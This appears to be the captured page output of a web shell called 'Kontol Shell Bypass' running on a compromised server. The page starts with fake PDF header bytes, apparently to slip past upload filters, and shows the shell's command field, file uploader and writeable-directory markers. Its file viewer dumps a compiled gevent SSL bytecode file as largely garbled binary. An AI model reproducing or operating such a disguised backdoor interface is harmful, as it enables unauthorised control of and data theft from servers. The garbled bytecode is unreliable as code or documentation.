%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/gevent/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/gevent/__pycache__/ssl.cpython-39.pyc
a

�_g���	@sdZddlmZddlZejZddlZddlmZm	Z	ddlm
Zddlm
Z
eZddlmZgd�Zeed	�r�e�d	�gZnd	gZdd
lmZddlmZddlmZdd
lmZddlmZddlmZddlmZddlmZddlmZddlm Z ddlm!Z!ddlm"Z"ddlm#Z#ddlm$Z$ddlm%Z%ddlm&Z&ddlm'Z'e
ee(�edgdd�Z)ee)eZ*de*v�r�e*�+d�ej,Z-Gdd �d ej.�Z/Gd!d"�d"e0�Z1Gd#d$�d$e-�Z,Gd%d&�d&e�Z2e2e,_3ed'�Z4ed(�Z5ed)�Z6ddd*ee#dd+d+df	d,d	�Z7e#dfd-d.�Z8dS)/z�SSL wrapper for socket objects on Python 3.

For the documentation, refer to :mod:`ssl` module manual.

This module implements cooperative SSL socket wrappers.
�)�absolute_importN)�socket�timeout_default)�timeout)�copy_globals)�ref)�
SSLContext�	SSLSocket�get_server_certificate�wrap_socket)�AF_INET)�SOCK_STREAM)�SO_TYPE)�
SOL_SOCKET)�SSLWantReadError)�SSLWantWriteError)�SSLEOFError)�	CERT_NONE)�SSLError)�
SSL_ERROR_EOF)�SSL_ERROR_WANT_READ)�SSL_ERROR_WANT_WRITE)�PROTOCOL_SSLv23)�CHANNEL_BINDING_TYPES)�
CERT_REQUIRED)�DER_cert_to_PEM_cert)�create_connectionr�)Znames_to_ignoreZdunder_names_to_keep�
namedtuplecs eZdZdZ�fdd�Z�ZS)�_contextawaresock)�_sslsockcst��||||�||_dS�N)�super�__init__r )�self�family�type�proto�filenoZsslsocket_wref��	__class__r�7/vddos/python/lib/python3.9/site-packages/gevent/ssl.pyr#Zsz_contextawaresock.__init__)�__name__�
__module__�__qualname__�	__slots__r#�
__classcell__rrr)r+rWsrc@s eZdZdZdd�Zdd�ZdS)�	_Callback��
user_functioncCs
||_dSr!r2)r$r3rrr+r#bsz_Callback.__init__cGs|��}|j|g|�R�Sr!)r r3)r$�conn�argsrrr+�__call__esz_Callback.__call__N)r,r-r.r/r#r6rrrr+r1^sr1cseZdZdZdZddd�Zeejd�rbejj	�fdd	��Zej
j	�fd
d��Z
ejj	�fdd
��Zeed�r�ejj	�fdd��Zej
j	�fdd��Z
eed�r�e�fdd��Zej	�fdd��Zeed�r�e�fdd��Zej	�fdd��Zn�fdd�Z�ZS)rrNFTc	Cs|j|||||||d�S)N)�sock�server_side�do_handshake_on_connect�suppress_ragged_eofs�server_hostname�_context�_session)�sslsocket_class)r$r7r8r9r:r;�sessionrrr+rps�zSSLContext.wrap_socket�settercsttt�j�||�dSr!)r"�orig_SSLContext�options�__set__�r$�valuer)rr+rB�szSSLContext.optionscsttt�j�||�dSr!)r"rA�verify_flagsrCrDr)rr+rF�szSSLContext.verify_flagscsttt�j�||�dSr!)r"rA�verify_moderCrDr)rr+rG�szSSLContext.verify_mode�minimum_versioncsttt�j�||�dSr!)r"rArHrCrDr)rr+rH�szSSLContext.minimum_versioncsttt�j�||�dSr!)r"rA�maximum_versionrCrDr)rr+rI�szSSLContext.maximum_version�
_msg_callbackcst�j}t|t�r|j}|Sr!)r"rJ�
isinstancer1r3�r$�resultr)rr+rJ�s
zSSLContext._msg_callbackcsF|rt|�rt|�}tt_zttt�j�||�Wtt_ntt_0dSr!)�callabler1rA�__ssl__rr"rJrCrDr)rr+rJ�s�sni_callbackcst�j}t|t�r|j}|Sr!)r"rPrKr1r3rLr)rr+rP�s
zSSLContext.sni_callbackcs,|rt|�rt|�}ttt�j�||�dSr!)rNr1r"rArPrCrDr)rr+rP�scs$|rt|�rt|�}t��|�dSr!)rNr1r"�set_servername_callback)r$�server_name_callbackr)rr+rQ�sz"SSLContext.set_servername_callback)FTTNN)r,r-r.r/r>r�hasattrrArBr@rFrGrHrI�propertyrJrPrQr0rrr)r+ris>�




rcs�eZdZdZddddeeddeeddddddddfdd�Zdd	�Z	d
d�Z
edd
��Zej
dd
��Zedd��Zej
dd��Zedd��Zdd�Zd\dd�Zdd�Zd]dd�Zdd�Zd^dd �Zd!d"�Zeed#�r�d$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zdefd.d/�Zd_d0d1�Z d2d3�Z!d`d4d5�Z"dad7d8�Z#dbd9d:�Z$dcd;d<�Z%ddd=d>�Z&d?d@�Z'dAdB�Z(dCdD�Z)dEdF�Z*dGdH�Z+dIdJ�Z,dKdL�Z-dedMdN�Z.dOdP�Z/dQdR�Z0dSdT�Z1�fdUdV�Z2dfdXdY�Z3dZd[�Z4�Z5S)gr	zp
    gevent `ssl.SSLSocket
    <https://docs.python.org/3/library/ssl.html#ssl-sockets>`_ for
    Python 3.
    NFTrc
Cs|r||_n�|r|std��|r,|s,td��|r8|s8|}t|�|_||j_|rZ|j�|�|rl|j�||�|r||j�|�|r�|j�|�||_||_	||_
||_||_||_
|�tt�tkr�td��|r�|r�td��|dur�td��|jjr�|s�td��||_||_||_||_|
|_d}d}|du�r\|��}tj||j|j|j|��d�|� �n,|du�rvtj||d	�ntj||	|
|d
�d|_!d|_"z|j#�$�Wn�t%�y�}z�|j&t&j'k�r�|�(��|�)�}|�*d�z|�+d�}Wn@t%�y,}z&|j&t&j't&j,fv�r�d}WYd}~n
d}~00|�*|�|�r�d
}t-|j&|�}||_.d|_/z|�(�Wnt%�yzYn0|�WYd}~nd}~00d}|�0|�||_1|�r
z:|�2||�|_"|�r�|��}|dk�r�td��|�3�Wnt%�y|�(��Yn0dS)Nz5certfile must be specified for server-side operationszcertfile must be specifiedz!only stream sockets are supportedz4server_hostname can only be specified in client modez,session can only be specified in client modez'check_hostname requires server_hostnameF)r%r&r'r()r()r%r&r'��z5Closed before TLS handshake with data in recv buffer.T�zHdo_handshake_on_connect should not be specified for non-blocking sockets)4r<�
ValueErrorrrG�load_verify_locations�load_cert_chain�set_npn_protocols�set_ciphers�keyfile�certfile�	cert_reqs�ssl_version�ca_certs�ciphers�
getsockoptrrr
�NotImplementedError�check_hostnamer=r8r;r9r:�
gettimeoutrr#r%r&r'r(�detach�_closed�_sslobj�_sock�getpeername�OSError�errno�ENOTCONN�close�getblocking�setblocking�recv�EINVALr�reasonZlibrary�
settimeout�
_connected�_SSLSocket__create_sslobj�do_handshake)r$r7r]r^r8r_r`rar9r%r&r'r(r:�
npn_protocolsrbr;r=r<�	connectedZsock_timeout�e�blockingZnotconn_pre_handshake_datartZ notconn_pre_handshake_data_errorrrrr+r#�s�

�






zSSLSocket.__init__cCst||||t|��Sr!)r�_wref)r$r%r&r'r(rrr+�_gevent_sock_classbszSSLSocket._gevent_sock_classcCs"d|j|jdur|j��ndfS)Nz server=%s, cipher=%r�)r8ri�cipher�r$rrr+�_extra_repres�zSSLSocket._extra_reprcCs|jSr!)r<r�rrr+�contextlszSSLSocket.contextcCs||_||j_dSr!)r<rir�)r$�ctxrrr+r�pscCs|jdur|jjSdS)z!The SSLSession for client socket.N)rir?r�rrr+r?us
zSSLSocket.sessioncCs||_|jdur||j_dSr!)r=rir?)r$r?rrr+r?{s
cCs|jdur|jjSdS)z.Was the client session reused during handshakeN)ri�session_reusedr�rrr+r��s
zSSLSocket.session_reusedcCstd|jj��dS)NzCan't dup() %s instances)rdr*r,r�rrr+�dup�s�z
SSLSocket.dupcCsdSr!r)r$�msgrrr+�_checkClosed�szSSLSocket._checkClosedcCs|js|��dSr!)rvrkr�rrr+�_check_connected�szSSLSocket._check_connected��c
Cs |��d}|jstd��|dkr2|dur.dSdSz2|durT||j�||�7}|WS|j�|p`d�WSty�|jdkr~�|j|jtd�Yqt	y�|jdkr��|j|j
td�Yqt�y}zB|jdt
k�r|j�r|dur�dn|WYd}~S�WYd}~qd}~00qdS)z�Read up to LEN bytes and return them.
        Return zero-length string on EOF.

        .. versionchanged:: 24.2.1
           No longer requires a non-None *buffer* to implement ``len()``.
           This is a backport from 3.11.8.
        rz'Read on closed or unwrapped SSL socket.NrV�rW�Ztimeout_exc)r�rirX�readrr�_wait�_read_event�_SSLErrorReadTimeoutr�_write_eventrr5rr:)r$�nbytes�bufferZ
bytes_read�exrrr+r��s.	

zSSLSocket.readc
Cs�|��|jstd��z|j�|�WSty�}zf|jdtkr`|jdkrN�|j|j	t
d�n.|jdtkr�|jdkrz�|j|jt
d�n�WYd}~qd}~00qdS)zhWrite DATA to the underlying SSL channel.  Returns
        number of bytes of DATA actually transmitted.z(Write on closed or unwrapped SSL socket.rrWr�N)
r�rirX�writerr5rrr�r��_SSLErrorWriteTimeoutrr�)r$�datar�rrr+r��s

zSSLSocket.writecCs@|��|��z|jj}Wnty6|jj}Yn0||�S)z�Returns a formatted version of the data in the
        certificate provided by the other end of the SSL channel.
        Return None if no certificate was provided, {} if a
        certificate was provided, but not validated.)r�r�riZpeer_certificate�AttributeError�getpeercert)r$�binary_form�crrr+r��szSSLSocket.getpeercertcCs"|��|jrtjsdS|j��Sr!)r�ri�_ssl�HAS_NPN�selected_npn_protocolr�rrr+r��szSSLSocket.selected_npn_protocol�HAS_ALPNcCs"|��|jrtjsdS|j��Sr!)r�rir�r��selected_alpn_protocolr�rrr+r��sz SSLSocket.selected_alpn_protocolcCs
|j��S)z�Return a list of ciphers shared by the client during the handshake or
            None if this is not a valid server connection.
            )ri�shared_ciphersr�rrr+r�szSSLSocket.shared_cipherscCs|js
dS|j��S)z^Return a string identifying the protocol version used by the
            current SSL channel. N)ri�versionr�rrr+r�szSSLSocket.versioncCs|��|jsdS|j��Sr!)r�rir�r�rrr+r�szSSLSocket.ciphercCs|��|jsdS|j��Sr!)r�ri�compressionr�rrr+r�szSSLSocket.compressioncCs�|��|tur|j}|jr�|dkr2td|j��z|j�|�WStyn|jdkr^YdS|�|j	�Yq2t
y�|jdkr�YdS|�|j�Yq20q2nt�
||||�SdS)Nrz3non-zero flags not allowed in calls to send() on %srW)r�rrrirXr*r�rr�r�rr�r�send)r$r��flagsrrrr+r�s*��

zSSLSocket.sendcCsB|��|jrtd|j��|dur2t�|||�St�||||�S)Nz%sendto not allowed on instances of %s)r�rirXr*r�sendto)r$r��
flags_or_addr�addrrrr+r�3s�zSSLSocket.sendtocOstd|j��dS)Nz&sendmsg not allowed on instances of %s�rdr*�r$r5�kwargsrrr+�sendmsg<s�zSSLSocket.sendmsgcCs`|��|jr$|dkr$td|j��zt�|||�WStyZ|jdkrTtd���Yn0dS)Nrz6non-zero flags not allowed in calls to sendall() on %srWz&The operation did not complete (write))	r�rirXr*r�sendall�_socket_timeoutrr)r$r�r�rrr+r�Bs��
zSSLSocket.sendallr�cCsH|��|jr:|dkr$td|j��|dkr0dS|�|�St�|||�S)Nrz3non-zero flags not allowed in calls to recv() on %srV)r�rirXr*r�rrr�r$�buflenr�rrr+rrRs��
zSSLSocket.recvcCs�|��|durN|durFt|��}|j}Wd�n1s<0Y|sNd}|jrv|dkrjtd|j��|�||�St�||||�S)z�
        .. versionchanged:: 24.2.1
           No longer requires a non-None *buffer* to implement ``len()``.
           This is a backport from 3.11.8.
        Nr�rz8non-zero flags not allowed in calls to recv_into() on %s)	r��
memoryviewr�rirXr*r�r�	recv_into)r$r�r�r��viewrrr+r�`s
$zSSLSocket.recv_intocCs*|��|jrtd|j��t�|||�S)Nz'recvfrom not allowed on instances of %s)r�rirXr*r�recvfromr�rrr+r�ts�zSSLSocket.recvfromcCs,|��|jrtd|j��t�||||�S)Nz,recvfrom_into not allowed on instances of %s)r�rirXr*r�
recvfrom_into)r$r�r�r�rrr+r�{s�zSSLSocket.recvfrom_intocOstd|j��dS)Nz&recvmsg not allowed on instances of %sr�r�rrr+�recvmsg�s�zSSLSocket.recvmsgcOstd|j��dS)Nz+recvmsg_into not allowed on instances of %sr�r�rrr+�recvmsg_into�s�zSSLSocket.recvmsg_intocCs|��|jr|j��SdS)Nr)r�ri�pendingr�rrr+r��s
zSSLSocket.pendingcCs|��d|_t�||�dSr!)r�rir�shutdown)r$�howrrr+r��szSSLSocket.shutdownc
Cs|jstdt|���z|jj}Wnty<|jj}Yn0|j}z|�}Wq�WqDty||jdkrl�|�	|j
�YqDty�|jdkr��|�	|j�YqDt
y�Yq�YqDty�}z$|jdkr�WYd}~q��WYd}~qDd}~00qDd|_||ju�sJ�|S)N�No SSL wrapper around rWr)rirX�strr�r��unwraprjrrr�r�rr�rrlrm)r$r��sr{rrr+r��s6


zSSLSocket.unwrapcCsd|_t�|�dSr!)rir�_real_closer�rrr+r��szSSLSocket._real_closecCs||��z|j��WqxWqtyH|jdkr4�|j|jtd�Yqtyt|jdkr`�|j|j	td�Yq0qdS)zPerform a TLS/SSL handshake.rWr�N)
r�rirxrrr�r��_SSLErrorHandshakeTimeoutrr�r�rrr+rx�s


zSSLSocket.do_handshakecCs|jj|j||j|j|d�S)N)�ownerr?)r��_wrap_socketrjr;)r$r8r?rrr+Z__create_sslobj�s
�zSSLSocket.__create_sslobjcCs�|jrtd��|jrtd��|�d|j�|_z@|r@t�||�}nd}t�||�|sh|j	rb|�
�d|_|WSty�d|_�Yn0dS)Nz!can't connect in server-side modez/attempt to connect already-connected SSLSocket!FT)r8rXrvrwr=rir�
connect_ex�connectr9rx�socket_error)r$r�r��rcrrr+�
_real_connect�s$zSSLSocket._real_connectcCs|�|d�dS)�QConnects to remote ADDR, and then wraps the connection in
        an SSL channel.FN�r��r$r�rrr+r�szSSLSocket.connectcCs|�|d�S)r�Tr�r�rrr+r�szSSLSocket.connect_excsLt���\}}z"|jj||j|jdd�}||fWS|���Yn0dS)z�
        Accepts a new connection from a remote client, and returns a
        tuple containing that new connection wrapped with a
        server-side SSL channel, and the address of the remote client.
        T)r9r:r8N)r"�acceptr<rr9r:ro)r$�newsockr�r)rr+r�
s�
zSSLSocket.accept�
tls-uniquecCsVt|jd�r|j�|�S|tvr(td��|dkr>td�|���|jdurLdS|j��S)z�Get channel binding data for current connection.  Raise ValueError
        if the requested `cb_type` is not supported.  Return bytes of the data
        or None if the data is not available (e.g. before the handshake).
        �get_channel_bindingz Unsupported channel binding typer�z({0} channel binding type not implementedN)rSrir�rrXrd�formatZ
tls_unique_cb)r$�cb_typerrr+r�s
zSSLSocket.get_channel_bindingcCs$|jr|j��Stdt|���dS)Nr�)ri�verify_client_post_handshakerXr�r�rrr+r�-s
z&SSLSocket.verify_client_post_handshake)N)r�N)F)N)r)r�r)Nr)r�r)Nr)FN)r�)6r,r-r.�__doc__rrrr
r#r~r�rTr�r@r?r�r�r�r�r�r�r�r�rSr�r�r�r�r�r�rr�r�r�r�rrr�r�r�r�r�r�r�r�r�rxrwr�r�r�r�r�r�r0rrr)r+r	�sv�







5

	
	




6

r	zThe read operation timed outzThe write operation timed outz!The handshake operation timed outFTc

Cst||||||||||	d�
S)N�
r7r]r^r8r_r`rar9r:rb)r	r�rrr+r=s�c	Cs�|\}}|durt}nt}t|��J}t||||d��}|�d�}Wd�n1sT0YWd�n1sr0Yd}}t|�S)z�Retrieve the certificate from the server at the specified address,
    and return it as a PEM-encoded string.
    If 'ca_certs' is specified, validate the server cert against it.
    If 'ssl_version' is specified, use it in the connection attempt.N)r`r_raT)rrrrr�r)r�r`ra�_r_r7�sslsock�dercertrrr+r
Ls
�Fr
)9r��
__future__r�sslrOr�rmZ
gevent.socketrrrr�Zgevent._utilrrlr��weakrefrr}Z__implements__rS�appendZ	__extra__rr
rrrrrrrrrrrrrrr�globalsZ__imports__�__all__�removerrAr~r�objectr1r	r>r�r�r�rr
rrrr+�<module>sz

�	�


cl�


Kontol Shell Bypass